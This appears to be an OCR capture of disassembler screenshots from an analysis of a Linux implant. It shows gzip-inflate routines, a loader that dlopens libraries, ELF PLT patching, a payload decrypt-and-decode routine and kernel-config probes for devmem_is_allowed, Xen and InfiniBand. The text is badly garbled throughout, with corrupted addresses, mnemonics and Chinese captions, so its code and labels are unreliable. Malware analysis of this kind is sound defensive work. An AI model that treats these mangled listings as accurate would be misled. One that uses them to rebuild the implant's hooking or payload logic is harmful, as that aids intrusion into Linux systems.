eax, 11&h

short loc_g@57@38

esi, [esi+d]

; CODE XREF:

dword ptr [ebx+eax*a], 8
eax, 1

eax, 128h

short loc_g@57858
eax, [ebpevar_14]
edx, 128h
[espsaCh], eax
eax, [ebp+var_C]
ecx, 161h
[esp+8], eax
eax, ebx
[ebpevar_14], 7

linux_gzip_inflate_fixed+374]

linux_gzip_inflate_fixed+4Fl]

linux_gzip_inflate_fixed+671]

linux_gzip_inflate_fixed+7Flj

dword ptr [esp+4], offset g_gzip_cplext
dword ptr [esp], offset g_gzip_cplens

linux_gzip_ huft_build
edx, edx

eax, eax

1oc_BO5714A

aop

ebp, esp

esp, 78h

dword ptr [esp], 4Feh
[ebpsvar_C], ebx
[ebpevar_4], edi
[ebpsvar_8], esi
near ptr mallec_._
edx, ds:dword_B@865Ad4
edi, ds:dword_s@esass
edx, 4

ebx, eax

short loc_BOS6AEF

eax, ds:g_gzip_key
esi, 4

eax, ds:dword_BRESA24
loc_sasecee

ecx, ds:dword_B8O65A20
esi, byte ptr [ecx+eax]
ecx, edx

eax, 1

edx, B

ds:g_gzip_key, eax
esi, cl

edi, esi

; CODE XREF: linux_gzip_inflate_dynamic+2Ctj

ecx, [edx-5]

eax, edi

eax, 5

ecx, 4

[ebpevar_34], eax
[ebpsvar_30], ecx
short loc_8@5e6841
eax, ds:g_gzip key
esi, 4

eax, ds:dword_8865A24
[ebpevar_2C], eax
loc_Ba@seces

ecx, [ebp+var_2C]
edx, 3

eax, ds:dword_BR6SA20
eax, byte ptr [eax+ecx]
ecx, byte ptr [ebp+var_3@]
[ebpsvar _30], edx
eax, cl

[ebpsvar_34], eax
eax, [ebp+var_2C)
eax. 1
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linux_gzip_inflate_codeskRZ{ :

LUARL BEdO0 SRS 33
LOAD:BBR565A6 83 EC
LOAD: 08056549 8B 35
LOAD:@BO565AF 89 55
LOAD:@BR56582 @F BY
LOAD:@BR565BA B9 4D
LOAD:@BR565BD EB 4D
LOAD:@BR565C0 B9 45
LOAD:@BBSE5C3 A1 3C
LOAD: @80565C8 88 1D
LOAD: @88565CE 89 55
LOAD: @8056501 &F B7
LOAD: 08056509 89 45
LOAD:@ER5650C 89 4D
LOAD: @BR5650F

LOAD: @BR5650F

LOAD: @805650F
LOAD:@8R5650F 3B 5D DC
LOAD:@BR5E5E2 73 35

LOAD: @BR5E5ES

LOAD: @BRSE5ES

LOAD:@BR565E4 BB 15 28 5A 26 @8
LOAD:@B@565EA 3B 15 24 5A 86 @8
LOAD: @BO5E5F@ @F 83 22 01 @@ o
LOAD: @BA5E5F6 Al 20 5A 86 @8
LOAD: @8@565FB 89 D9
LOAD:@ERSESFD 83 (3 88
LOAD:@ER56680 @F BE 84 10

LOAD: @BR56684 83 C2 81
LOAD:@BR56607 89 15 28 5A 96 08
LOAD:@8R5660D @F B6 (@
LOAD:@8R56610 D3 ED
LOAD:@8R56612 @9 C6

LOAD: 98056614 3B 5D DC

LOAD: 98056617 72 CB

LOAD: BBR5E619

LOAD: 88856619

LOAD: @8056619 8B 45 D8

LOAD: @805661C 8B 55 D4

LOAD: @805661F 21 F@

LOAD: @B856621 ED 84 C2
LOAD:@ER56624 @F BE 88
LOAD:@BR56627 89 45 E@
LOAD:@BR56624 &3 F9 18
LOAD:@8R5662D 89 4D E4
LOAD:@BR56630 @F 86 22 01 20 00
LOAD:@BR56636 83 F9 63
LOAD:@BR56639 @F 84 18 84 @0 00
LOAD:@BASE63F Al 20 5A 86 23
LOAD: @8856644 BB 3D 24 5A 86 @8
LOAD: @BB5664A 89 45 CC

LOAD: 88856640 A1 2B S5A 66 88
LOAD: 88056852

LOAD: @EB5E652

&
oA

5A @6 98

a
=

89 29 24 86 88

86 88

89 28 24 @6 68

B88BRELEERE

linux_gzip_fill_bufE&#g :

LOAD:8B@564E8 55

LOAD:888564E1 89 ES

LOAD:8B@564E3 57

LOAD: BB@564E4 56

LOAD: 88@564E5 53

LOAD:@88564E6 B3 EC 2C

LOAD:@8@564E9 BB 35 2C SA @6 08
LOAD:888564EF BB 1D 2C 5A 86 08
LOAD:888564F5 85 F&

LOAD:@88564F7 75 27

LOAD: BB@564FS

LOAD: 888564F9

LOAD: 888564F9

LOAD:88@564F9 B89 1D 2C SA @6 08
LOAD:888564FF 31 C@

LOAD: 88856581 &1 35 38 SA @5 @8

LOAD: 880856587 C7 @5 3C 5A 85 28 02 @0 20 00
LOAD: 88856511 83 C4 2C

LOAD: 88856514 SB
LOAD: 88856515 SE
LOAD: 88856516 SF
LOAD: 88856517 50
LOAD: 88856518 C3
LOAD: 88856518
LOAD: 88856519 8D
LOAD: 88856528
LOAD: 88856520
LOAD: 88056520 BB 3D 28 SA @6 08
LOAD: 88856526 Al 34 5A 86 @8
LOAD: 88056528 8D 14 37
LOAD:@885652E 89 54
LOAD: 88856532 89 55 E4
LOAD: 88856535 BY o4

LOAD: 88856538 E8 93 A3 86 @@

LOAD: 280856530 BB 55

LOAD: 28856548 B5 C@

LOAD: 88856542 74 21

LOAD: 88856544 A3 34 5A 86 @8

LOAD: 88856549 @1 F8

LOAD: 88856548 B9 15 38 S5A 86 @8

LOAD: 88856551 89 74 24 88

LOAD: 88856555 C7 44 24 84 88 SE 96 @8
LOAD: 28856550 89 84 24

LOAD: 88856560 EB 87 35 FF FF

LOAD: 88856565

LOAD: 88856565

LOAD: 88856565 BB 35 3C S5A 86 @8

2

26 9@ 99 20 22
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loc_885650F :

loc_B@SESE4:

loc_BAS6619:

loc B856652:

loc_8e@sedra:

loc_8858528:

loc_B@56565:

pusn Box
sub esp, 5Ch
mov esi, ds:dword_See5A40
mov [ebp+var_3C], edx
movzx  edx, ds:g_gzip_mask_bits[ecxsecx]
mov [ebp+var_24], ecx
mov ecx, [ebprarg @]
mow [ebp+var_2C], eax
mov. eax, ds:dword BEESAIC
mov ebx, ds:dword 8865444
mov [ebp+var_28], edx
movzx  ecx, ds:g_gzip_mask_bits[ecx+ecx]
mov [ebp+var_38], eax
mov [ebp+var_38], ecx
; CODE XREF: linux_gzip_inflate_codes+2C445
3 linux_gzip_inflate_codes+2E8L] ...
ap ebx, [ebp+var_24]
3nb short loc_8056619
; CODE XREF: linux_gzip_inflate_codes+774j
mow edx, ds:g_grip_key
A edx, ds:dword_8865A24
3nb loc_8656718
mov eax, ds:dword_B865A28
mov ecx, ebx
add ebx, &
movzx  eax, byte ptr [eax+edx]
add edx, 1
mov ds:g_gzip_key, edx
movzx  eax, a
shl eax, cl
or esi, eax
ap ebx, [ebp+var_24]
ib short loc_BO@565E4
; CODE XREF: linux_gzip_inflate_codes+421j
mov eax, [ebp+var_28]
mov edx, [ebp+var_2iC]
and eax, esi
lea eax, [edx+eax*8]
movzx  ecx, byte ptr [eax]
mov [ebp+var_28], eax
cnp ecx, 18h
mov [ebp+var_1C], ecx
jbe loc_8@56758
(L] ecx, 63h ; ‘¢’
Iz loc_B@S6AS7
mow eax, ds:dword_S865A28
mow edi, ds:dword_8865A24
mov [ebp+var_34], eax
mov eax, ds:g_gzip_key
: CODE XREF: linux ezio inflate codes+22844
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 2Ch
mov esi, ds:dword_8@65SA3C
mov ebx, ds:dword_8865AZC
test esi, esi
jnz short loc_B@S5S6528
; CODE XREF: linux_gzip_ fill_buf+8D4j
; linux_gzip_fill_buf+85i]
mov ds:dword_8865A2C, ebx
xor eax, eax
add ds :dword_8065438, esi
mov ds:dword_8865SA3C, @
add esp, 2Ch
Pop ebx
pop esi
pop edi
pop ebp
retn
align 1eh
; CODE XREF: linux_gzip fi11_buf+17t]
mov edi, ds:dword_8e6SA38
mov eax, ds:dword_S865A34
lea edx, [editesi]
mov [esp+d], edx
mov [ebp+var_1C], edx
mov [esp], eax
call serial_bind_éx74eSf2as_
mov edx, [ebpevar_iC]
test eax, eax
jz short loc_B@56565
mov ds :dword_BBGSA34, eax
add eax, edi
mov ds:dword_8865A38, edx
mov [esp+8], esi
mov dword ptr [esp+d], offset byte_BBGSEB
mov [esp], eax
call near ptr memmove_._
; CODE XREF: linux_gzip_fill_buf+s2tj
mov esi, ds:dword B865A3C

40



linux_gzip_huft_buildEgZy :

LOAD: @8055F 90 linux_gzip_huft_build proc near ; CODE XREF: linux_gzip_inflate_dynamic+216ip
LOAD: 83055F98 ; linux_gzip_inflate_dynamic+301lp ...
LOAD: 88855F 98

LOAD: B8055F 30 = dword ptr -7C
LOAD: 88255F 28 = dword ptr -
LOAD: 08255F 30 dword ptr -
LOAD: 83855F 98 dword ptr -

LOAD: BBAS5F 58 dword ptre
LOAD: 88855F %8 dword ptr -
LOAD: @8055F 98 dword ptr -
LOAD: @8855F 90 = dword ptr -54
LOAD: 88855F 98 = dword ptr -
LOAD: 88055F90 = dword ptr
LOAD: 83855F98 = dword ptr -
LOAD: 08055F 99 dword pte -
LOAD: BBA55F 38 = dword ptr -
LOAD: @8255F 90 = dword ptr
LOAD: DBD55F90 = dword ptr -3
LOAD: 98855F 98 = dword ptr
LOAD: 88B55F 98 = dword ptr
LOAD: 8BB55F 8 = dword pir -
LOAD: 08255F 50 = dword ptr -
LOAD:88855F 98 = dword ptr -
LOAD: B8055F 58 = dword ptr
LOAD: 83855F 98 = dword ptr
LOAD: B8855F 98 dword ptr

LOAD: @8255F 90
LOAD: @8855F 20

dword ptr  @Ch
dword ptr  18h

LOAD: @8055F90 = dword ptr 12h

LOAD: 83855F 98

LOAD: 88055F%8 55 push ebp
LOAD:88855F91 £9 ES mov ebp, esp

LOAD: @8055F93 57 push edi

LOAD: DBD55F94 56 push esi
LOAD:@8855F95 BE 93 00 00 20 mov esi, 3

LOAD: 88855FIA 53 push  ebx
LOAD:@8855F98 B1 EC BC @9 60 B0 sub esp, BCh
LOAD:@8055FA1 C7 @4 24 48 @5 0@ 80 mov dword ptr [esp],
LOAD:A8855FAR 89 45 DB mov [ebp+var_28], eax
LOAD:@80SSFAE B9 55 E4 mov [ebpevar_1C], edx
LOAD: 88855FAE B9 4D AC mov [ebpevar_54], ecx
LOAD:880855FB1 E8 A5 3A FF FF call near ptr malloc_._
LOAD: 08055FBE 85 Ca test sax, eax
LOAD:@8@55FBE 89 C3 mav ebx, eax
LOAD:0BOS5FBA OF B4 78 &4 00 00 jz loc_Bo5c428
LOAD:83855FC8 31 T8 nor eax, eax
LOAD:@8A55FC2 B9 11 @@ &9 &9 nov wcx, 11h
LOAD:88855FCT 89 DF nov edi, ebx
LOAD:@8055FCS F3 AB rep stosd

LOAD:BBASSFCE BB 55 E4 mov edx, [ebpsvar_1C]
LOAD: BBO55FCE BB 45 D8 mov eax, [ebpsvar_28]
LOAD:B8955FD1 ED 55 D4 oy [ebpevar_2C], edx
LOAD: 88055FD4 8D 74 26 08 lea esi, [esisn]

LOAD: 88855FDA

BIMERHEAIAMCESIUBAT (REE=EEBE)

EMfpayload STHEZANT -
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LOAD: BBESEB46 EB 95 1C 80 28 call serial_bind_@x227Ffecs_calloc
LOAD:@805EB4B 85 Co test eax, eax
LOAD: @BASEB4AD B9 43 2C mov [ebx+2Ch], eax
LOAD:9805EBS@ 74 55 jz short loc_B@5SEBAS
LOAD:BBESEBS2 BB 45 E4 mav eax, [ebpsvar_1C]
LOAD:@805EBS5 8B 50 C mov edx, [eax+@Ch]
LOAD: 2BDSEBSB 39 D6 cmp esi, edx
LOAD: 8885EB5A 76 B3 Jbe short loc_885EBGF
LOAD: 8BOSEBSC 89 DY mov edi, edx
LOAD: @805EBSE EB o7 short loc_B@SEBET
LOAD: 2BASEBED o o o
LOAD:8885EB68
LOAD: @885EBGR loc_8@SEBG: ; CODE XREF: serial_loadso+CAlj
LOAD: @805EBGR 83 C7 0B add edi, 8
LOAD: @BOSEBE3 39 FE cmp esi, edi
LOAD: 8885EBES 76 35 Jbe short loc_B@5EBSC
LOAD: 8BA5SEBET
LOAD: 8825EBET loc_8@5SEBST: ; CODE XREF: serial loadso+BET]
LOAD: 2BD5EBET ; serial_loadso+FAdj
LOAD:@88SEBGT B3 3F 81 cmp dword ptr [edi], 1
LOAD:9BO5SEBEA 75 F4 jnz short loc_BRSEBES
LOAD: 8885EBSC 8B 45 E@ mov eax, [ebp+var_28]
LOAD: @8O5EBEF C7 44 24 84 21 &1 20 90 mov dword ptr [esp+d], GL_LOAD
LOAD:8BASEBT7 B3 47 84 add eax, [edi+d]
LOAD:9885EBTA B9 84 24 mov [esp], eax
LOAD: @805SEB7D E8 3A AE FE FF call near ptr dlopen_._ ; SilMfsoX
LOAD: 2805EBB2 85 CO test eax, eax
LOAD:8BBSEBBA 74 93 3z short loc_BBSEB19
LOAD:988SEBES BB 53 38 mov edx, [ebx+38h]
LOAD: @805EBED 83 (7 0B add edi, 8
LOAD: @805EBEBC 8B 48 2C mow ecx, [ebx+2Ch]
LOAD: @80SEBEF 89 84 91 mov [ecx+edx®4], eax
LOAD: 8885EB02 83 C2 91 add eds, 1
LOAD: @8O5EBSS 39 FE cmp esi, edi
LOAD:@805EB97 89 53 3@ mov [ebx+38h], edx
LOAD: BBASEBSA 77 (B Jja short loc_BASEBS7
LOAD: 8895EBOC
LOAD: @8RSEBIC loc_8S@SEBRSC: ; CODE XREF: serial_loadso+C5Tj
LOAD: @805EBSC 31 FF xer edi, edi
LOAD: 2BASEBSE B3 C4 2C add esp, 2Ch
LOAD:8885EBAL 89 F3 mov eax, edl
LOAD: @8RSEBAT S8 pop ebx
LOAD:@805EBAS SE pop esi
LOAD: BBASEBAS SF Pep edi
LOAD: 8885EBAG 50 Pop ebp
LOAD: BBASEBAT (3 retn
LOAD: @805EBAS H
LOAD: BBASEBAB
LOAD: 8805SEBAS loc_8@SEBAS: ; CODE XREF: serial loadsc+Beti
LOAD: 9BOSEBAS BF 84 08 8@ DO mov edi, oDesoaoash
LOAD:@805EBAD ES GE FF FF FF Jmp loc_Be5EB20
LOAD: B8ASEBAD serial_loadso  endp
1 N8N : ARASFRAN
EREMEE LS E =R T el ST Apl
FiENEE L SE=R N T e = HIplt
LUML 9aWIEYI3 a3 La LESL vdR, Edx
LOAD:@885E935 74 29 jz short loc_S8RSE968
LOAD: BBRSEI3T
LOAD:0885E937 loc_8@5E937: ; CODE XREF: serial bind_@x531ab53f_got+29713
LOAD: @BBSE937 88 4F 34 82 or byte ptr [edi+34h], 2
LOAD:@8@5E93B 31 Ca o eax, eax
LOAD:@B@5E93D E9 73 FE FF FF Jmp loc_B@5E7BS
LOAD:0885E93D j meesmsssssssscsscsssssssssssssssssssssssssssssssssssssssssssssssssssssssesss
LOAD: @825E942 BD B6 00 00 00 00 align 8
LOAD:0BR5ES4E
LOAD: BBO5E948 loc_8RSE948: ; CODE XREF: serial_bind_ox531ab53f_got+6B1j
LOAD: @8@5E948 80 3C 24 mov [espl, edi
LOAD:@BO5E94E EB 50 01 80 00 call serial_loadso
LOAD: @885E958 85 C@ test eax, eax
LOAD:@BOSE9S2 OF B5 5D FE FF FF jnz loc_BRSE7BS
LOAD:B8B5E958 8B 47 BC mov eax, [edi+ach]
LOAD:@805E9SE E9 F1 FD FF FF Jmp loc_B@SE751
LOAD: @885E960 3 ommemmmmmmemmmeoe R v i T e bk
LOAD : DEBSESER
LOAD: 8805E968 loc_8@5E968: XREF: serial_bind_@x531abS3f_got+25513
LOAD:@885E96@ 8B 45 18 mov
LOAD: @8@5E963 89 3C 24 moy
LOAD:@8@5ESE6 89 44 24 84 oV
LOAD:BBBSE96A EB 51 82 06 60 call serial_elf_patch_plt ; il Ee1fXFltaplt |
LOAD:@885E96F 85 (@ test eax, eax
LOAD: @8@5ES71 OF 85 3E FE FF FF jnz loc_8ASE7BS
LOAD:@885E977 EB BE Imp short loc_8@5E937
LOAD: @885E979 j meeemTemrsmmesmesseesserresesmsseseseeasssssssesssesressesmssssssssreesses
LOAD: @885E979
LOAD: @BO5SES79 loc_8@SE979: ; CODE XREF: serial_bind_ox531ab53f_got+22B13
LOAD:BBO5E979 BB 43 18 mov eax, [ebx+18h]
LOAD: @8@5ES7C BD 74 26 00 lea esi, [esi+a]
LOAD:0885E982 EB 8B Jmp short loc_8@5ES6D
LOAD: 0805E982 i o-- -
LOAD: 8805E982
LOAD: @BR5ES82 loc_8@5E982: ; CODE XREF: serial bind_ex531ab5S3f_got+12813
LOAD:@805E982 BE 11 00 @8 Do mov eax, @Daageallh
LOAD:@BOSE987 ED 29 FE FF FF Jmp loc_BRSE7BS
LOAD: @385E987 serial_bind_@x531ab53f_got endp
LOAD: @BR5E987
LOAD:@BG5E987 e A vt R b B b e Al b e S e i o b a7
LOAD:@E8SESEC 8D 74 26 8@ align 1eh
LOAD: BB85E998
LOAD : 0285E998 3 s==s=ssss==s=s5 S UBROUTI N E sssssssssssssssssssssssssssssssssssssss
LOAD: B3@5E998
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W Bvp3|EHAL SRR INE
PSR S SIS B STEMian BT , SEFHI ISR |

1. i payloadss ;
2. {14R1EBVpS |2 | EFECXI N NIZhRANEEHS |
3. Fra=iacikotRIR | FERATHE., XHF. NEBRRES

BT -
. ZEZkofYpayaload ;

[ ]
loc_804BA18:
mov eax, [esp+10F@h+payload_struct]
mov edx, [esp+10F@h+ref_stSysInfo]
mov [esp+l@F@h+_callback], offset decode_callback_t4 ; callback|
mov [esp+1@F@h+_payload], eax ; payload
mov [esp+1@FBh+_sysinfo], edx ; sysinfo
call serial_crypt_kernel
test eax, eax
mov edi, eax
jz jmp_8084BB1D

.
jmp_804BB1D:

mov ecx, [esp+l@F@h+payload_struct]
mov eax, [esp+l@F@h+ref_stSysInfo]

mov dword ptr [esp+8], offset decode_callback_t3 ; callback|
mov [esp+4], ecx ; payload

mov [esp], eax ; sysinfo

call serial_crypt_kernel ; #:i{fREkoifib:
test eax, eax

mov edi, eax

jnz loc_804BA3E

’

lea eax, [esp+l@F@h+var_3C]

mov [esp], eax

call serial_t3_process

test eax, eax

mov edi, eax

jz short loc_864BBC3

—

= —

loc_804BBC3:

call serial_bind_exb367cd@e_channel|
test eax, eax

Jz short jmp_804BCe4
e
¥
==
jmp_804BCO4:
mov edx, [esp+1@F@h+pid]
mov [esp], edx ; buf

call serial_bind_ex62fle7d3_channel|
test eax, eax
jz short jmp_804BC42

mov ecx, [esp+1@F@h+pid]
mov [esp], ecx ; pid
call serial_bind_@x7f493fb8_channel]
test eax, eax
jz short jmp_8e4BC8e
T
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2. BvpEEM IR ;

:98058C30
198858C38 ; ===

00010RCO OROSARCO: sarial Bun nrocass (Sunchronized with Hex View-1)

XIMAYORACES -

:88@58BCA serial_Bvp_process proc near ; CODE XREF: serial_config_play_08x00000001+Fj
:08058BC@ ; serial_config_play 0x00000000+Clj
1@8058BC0
:88058BCA var_8 = dword ptr -8
188058BCA var_4 = dword ptr -4
1 @8858BCR
:@8858BCO 55 push ebp
:08058BC1 89 E5 mov. ebp, esp
:@8058BC3 83 EC 18 sub esp, 18h
:@8058BC6 89 5D F8 mov [ebp+var_g], ebx
:@8058BC9 89 (3 mov ebx, eax
:@8058BCB 89 75 FC mov [ebp+var_4], esi
:88058BCE 8B 00 mov eax, [eax]
108058BD0@ 89 D6 mov esi, edx
1@8858BD2 A3 AC DE @6 08 mov ds:ELF_API_@8x@88052448, eax
108058BD7 E8 D4 FD FF FF call serial_bvp_config
188058BDC 3C 01 cmp al, 1
1@8058BDE 74 18 jz short it_should_jump__ patch_75
:@8058BEQ E8 7B FF FF FF call serial_bvp_sym
:@8@58BES 89 (2 mov edx, eax
:@BOS8BE7 31 (@ xor eax, eax
:@8858BE9 80 FA @1 cmp dl, 1
:@B058BEC 74 2A jz short loc_B8@58C18
:@8058BEE 88 5D F8 mov ebx, [ebp+var_8]
108@58BF1 8B 75 FC mov esi, [ebp+var_4]
1@8@58BF4 89 EC mov esp, ebp
1©8@58BF6 5D pop ebp
188058BF7 C3 retn
1 @B@58BF8 TS T T T T T T S T R T S S T R R S SR SR S TS IR TR TR
188@58BF8
:@8058BF8 it_should_jump__patch_75: ; CODE XREF: serial Bvp_process+1ET]
:08058BF8 8B 43 08 mov eax, [ebx+8]
:@8658BFB 89 34 24 mov [esp], esi 5 xx
:08058BFE 89 44 24 08 mov [esp+8], eax i zz
:08858C02 8B 43 84 mov eax, [ebx+4]
108058C05 89 44 24 o4 mov [esp+4], eax 3 ovY
1@8058C09 E8 42 OB @0 @0 call serial_bvp
1@8@58COE 8B 5D F8 mov ebx, [ebp+var_8]
198058C11 8B 75 FC mov esi, [ebp+var_4]
8@58C14 89 EC mov esp, ebp
:@8058C16 5D pop ebp
:@80958C17 C3 retn
:08058C18 e e TP T
:@8B58C18
:98058C18 loc_8@58C18: ; CODE XREF: serial_Bvp_process+2C1j
108058C18 89 34 24 mov [esp], esi
108@58C1B E8 30 1D o8 ee call serial_Bvp_sym
198058C20@ 8B 5D F8 mov ebx, [ebp+var_8]
188@58C23 8B 75 FC Hov esi, [ebp+var_4]
:@8058C26 89 EC mov esp, ebp
188@58C28 5D pop ebp
1@B8@58C29 C3 retn
:88058C29 serial Bvp _process endp
108058029
1@88@58C29 SN e e St S e e i e S R e s e i e e e =
:88058C2A 8D B6 0@ 00 29 00 align 1eh

=SUBROUTINE

int _ usercall serial Bvp_process@<eax>(int *al@<eax>, int a2@<edx>)

1
2{
3| char v4; // dl
4| int result; // eax
5
® 6| ELF_API_@x08052A40 = *al;
® 7| if ( (unsigned __int8)serial_bvp_config() == 1 )
® 3 return serial _bvp(a2, al[1], al[2]);
® 9 v4 = serial_bvp_sym();
® 19| result = 9;
@11 if (v4a==1)
® 12 result = serial_Bvp_sym(a2);
® 13| return result;
il 12N
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3. Bvp3|Z2A9%0%a1L, serial_bvp &2

LOAD: 28058988
LOAD: 88058980 55
LOAD: 888585981

38 @1 @e ee
1@ FF FF FF
LOAD:@8@589BF B2 5D F4

LOAD:880589C2 8B 1D AC DE 86 @8
LOAD:88@589C8 89 75 F8

LOAD:@80589CB 8D BS DF FE FF FF
LOAD:@80589D1 89 7D FC

LOAD:88@580D4 C7 45 E4 060 @@ ee
LOAD: 88058508 EQ 00 28 ee
DC 8@ 8o ee

LOAD:@8@589F@ C7 45 D4 60 @0 ee
LOAD:880589F7 C7 44 24 @8 1C @8
LOAD:880585FF C7 44 24 84 74 26
LOAD:@8058A@7 89 84 24

LOAD: 28058A0A C1 71 ee ee

44 24 84 020 00
44 24 @8
45 E4
LOAD:@8@58A1E B9 84 24
LOAD:28058A21 FF
LOAD:@8058A23 31
LOAD:88858A25 85
LOAD:88058A27 75

LOAD:88858A1B 8D

E4

D3
DB
e
SF
45
ce
LOA| 58
LOAD:88858A38 83 F8 FF
LOAD:88@58A33 74 53
LOAD:@8058A35 8D 85 41 FF FF FF
LOAD:@8@58A3B 8B 3D AC DE 86 @8
LOAD:88858A41 44 24 88 20 68
44 24 84 94 26
a4 24
77 71 @@ ee
44 24 84 20 ee
44 24 68
45 E@

LOAD:@8058A54 EB
LOAD:@8858A59 (7
LOAD:88858A61 89

LOAD:88058A65 8D

LOAD:@8@58A68 89 84 24
LOAD:@8858A6B FF D7
LOAD: 8885BAGD

LOAD:@8058A74 B3 F8 FF
LOAD:@8058A77 74 a@F
LOAD:88858A79 3D 19 86 82 88
LOAD:@8058A7E BB @1 28 80 20
LOAD:@8058A83 76 13
LOAD:@8058A85 8D 76 0@
LOAD:88A58A88

IRFLEELNERBIRATF] |

ee
ee
ee
ee
ee oo
@6 88

ee ee

28 88
26 28

26 80

— wmerw g

push
mov
sub
lea

cmp
mov
jbe
lea

ebp

ebp, esp

esp, 138h

eax, [ebpt+buffer]
[ebps+var_C], ebx

ebx, ds:ELF_API_Bx@8052A48
[ebptvar_8], esi

esi, [ebp+var_121]
[ebpsvar_4], edi
[ebpt+var_1C], @
[ebpsvar_za], &
[ebps+var_24], @
[ebptvar_28], @

[ebpsvar_2C], ©

dword ptr [esp+8], 1Ch ; length

dword ptr [esp+4], offset aBvp_sym_ devmem_is_allowed ; "Bvp_sym_ devmen_is_allowed"

[esp]l, eax ; dst
serial_bind_#xa8al6de5_xcode
dword ptr [esp+4], @
[esp+8], eax

eax, [ebp+var_1C]

[esp], eax

ebx ; ELF_API_@x@8052A40
ebx, ebx

eax, eax

short loc_8@58A88

eax, [ebp+var_1C]

eax, eax

short loc_8@5G8A88

eax, @FFFFFFFFh

short loc_s@s8Ass

eax, [ebp+dst]

edi, ds:ELF_API_@x@80852A48
dword ptr [esp+8], 28h ; ' ' ; length

dword ptr [esp+4], offset aBvp_config linux_version_code ; "Bwp_config LINUX VERSION CODE"

[esp], eax ; dst
serial_bind_oxaBaled65_xcode
dword ptr [esp+4], @
[esp+8], eax

eax, [ebp+var_2@]

[esp], eax

edi ; ELF_API_Bx@8052A40
eax, eax

short loc_8@58A88

eax, [ebp+var_28]

eax, @FFFFFFFFh

short loc_805G8A88

eax, 28615h

ebx, 1

short loc_8@58A98

esi, [esi+@]
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XIRATHIAES

© WO 00~ B W N e

1
1L

13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
a2
43
44
4s
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61

LITL Il LML WV W AR S

{

int (__cde
int vi1; //
int v2; //
int v3; //
int (__cde
int v5; //
void (__cd
int v8; //
void (__cd
int vie; /
void (__cd
int vi2; /

cl *ve)(int *, _DWORD, int); // ebx
eax

eax

ebx

cl *v4)(unsigned int *, _DWORD, int); // edi
eax

ecl *v7)(int *, _DWORD, int); // edi
eax

ecl *v9)(int *, _DWORD, int); // edi
/ eax

ecl *vi11)(int *, _DWORD, int); // edi
/ eax

char v13[49]; // [esp+17h] [ebp-121h] BYREF
char buffelr[49]; // [esp+48h] [ebp-F8h] BYREF

char dst[4
char vi16[4
char v17[4
int vig; /
int vi19; /
int v20; /
unsigned i
int v22[4]

ve = (int

v22[e] = e;

v2l
v2e
v19
v1s
vl
v2
v3

{

CH
8;
:H
0;
seria
ve(v2
e;
lv2 )

mw mn

8
=
—

( v22

e
."

iF ¢ v
{
vd
v5
if (
{
v3
i
{

nn

9]; // [esp+79h] [ebp-BFh] BYREF

9]; // [esp+AAh] [ebp-8Eh] BYREF

9]; // [esp+DBh] [ebp-5Dh] BYREF

/ [esp+1eCh] [ebp-2Ch] BYREF

/ [esp+116h] [ebp-28h] BYREF

/ [esp+114h] [ebp-24h] BYREF

nt v21; // [esp+118h] [ebp-286h] BYREF
3 // [esp+11Ch] [ebp-1Ch] BYREF

(__cdecl *)(int *, _DWORD, int))ELF_API_Ox08052A40;

3

1_bind_exa8a16d65_xcode(buffer, "Bvp_sym__devmem_is_allowed", 28);
2, 8, vl);

[el )
22[@] = -1 )

(int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_@x@8052A40;
serial_bind_@xa8al16d65_xcode(dst, "Bvp_config__ LINUX_VERSION_CODE", 32);

lv4(&v21, @, v5) &8 v21 = -1 )

=1;

( v21 <= 8ex28619 )
v7 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0©x@8052A40;
v8 = serial_bind_0xa8al6d65_xcode(vl6, "Bvp_config__CONFIG_INFINIBAND_NES", 35);

v7(&v2e, @, v8);
v9 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_8x@8852A40;
v1e = serial_bind_©xa8aledeé5_xcode(vli7, "Bvp_config_CONFIG_INFINIBAND NES_MODULE", 42);
vo(&v19, @, viae);
vil = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x@8052A40;
v12 = serial bind_exaBalede5_xcode(v13, "Bvp_config_ CONFIG_XEN", 24);
v11(&v18, @, v12);
if ( v2e 1= 1 && v19 =1 )
LOBYTE(v3) = v18 == 1;
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LUAL : 0BiabY /50
LOAD : 88859750
LOAD: 88859751
LOAD: 880859753
LOAD: 080859759
LOAD: 88859760
LOAD: 880859763
LOAD: 08059766
LOAD: ©8059769
LOAD: 88059770
LOAD: 88859772
LOAD:@8059777
LOAD:@8085977C
LOAD: @80859783
LOAD: 88859787
LOAD: ©805978C
LOAD:@805978E
LOAD: 98059790
LOAD: 88859797
LOAD: 8059797
LOAD:@80859797
LOAD: @805979C
LOAD: 88@597A2
LOAD: 88@597AA
LOAD: 888597AD
LOAD:@808597B1
LOAD: 88859786
LOAD: 88059788
LOAD: 080597BA
LOAD: @80597BC
LOAD: 888597BC
LOAD: 888597BC
LOAD: 880597BC
LOAD: @80597BF
LOAD:@88597C1
LOAD:888597C3
LOAD: ©80597C6
LOAD:@80597CB
LOAD: ©@80597CB
LOAD:888597CB
LOAD: @80597CD
LOAD:@808597D0
LOAD: @80597D3
LOAD: 880597D6
LOAD:88@597D8
LOAD: 8808597D9
LOAD:@80597D9
LOAD: 288597DA
LOAD: @8@597E@
LOAD: 080597E0
LOAD:@80597EQ
LOAD: @80597E3
LOAD: @88597E7
LOAD: @80597ED
LOAD:@80597F1
LOAD: @80597F4
LOAD:888597F9

55
89
81
80
89
89
89
7
75
Al
BB
7
89
E8
85
74
c6

Al
8D
c7
89
89
E8
85
89
74

8D
89
8D
89
89
E8
85

00011750 08059750:

-

4. serial_bvpifitiz

EC 28 @9 @0 e
3D B0 DE 06 ©8 ©0

45 E4 90 00 €0 00

C8 3C 6 08
FF FF FF FF

@4 24 20 3D @6 08
44 24 @4

D4 64 90 80

©5 Be DE o6 €8 o1

loc_8@59797:
C8 3C ©e6 @8
BS 7C FF FF FF
44 24 04 20 3D 06 @8

44 24 @8
BA oC e ee

24
loc_80597BC:

45 E4

84 24
C5 70 ee eo

loc_80597CB:

75 F8
5D F4
7D FC

B6 @0 00 6@ oo

loc_8@597E6:
45 E4
44 24 o8
85 48 FF FF FF
44 24 @4
34 24
C7 OE 00 ee
ce

serial bvp (Synchronized with Hex View-1)
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push ebp
mov ebp, esp
sub esp, 928h
cmp ds:g_elf _decode, @
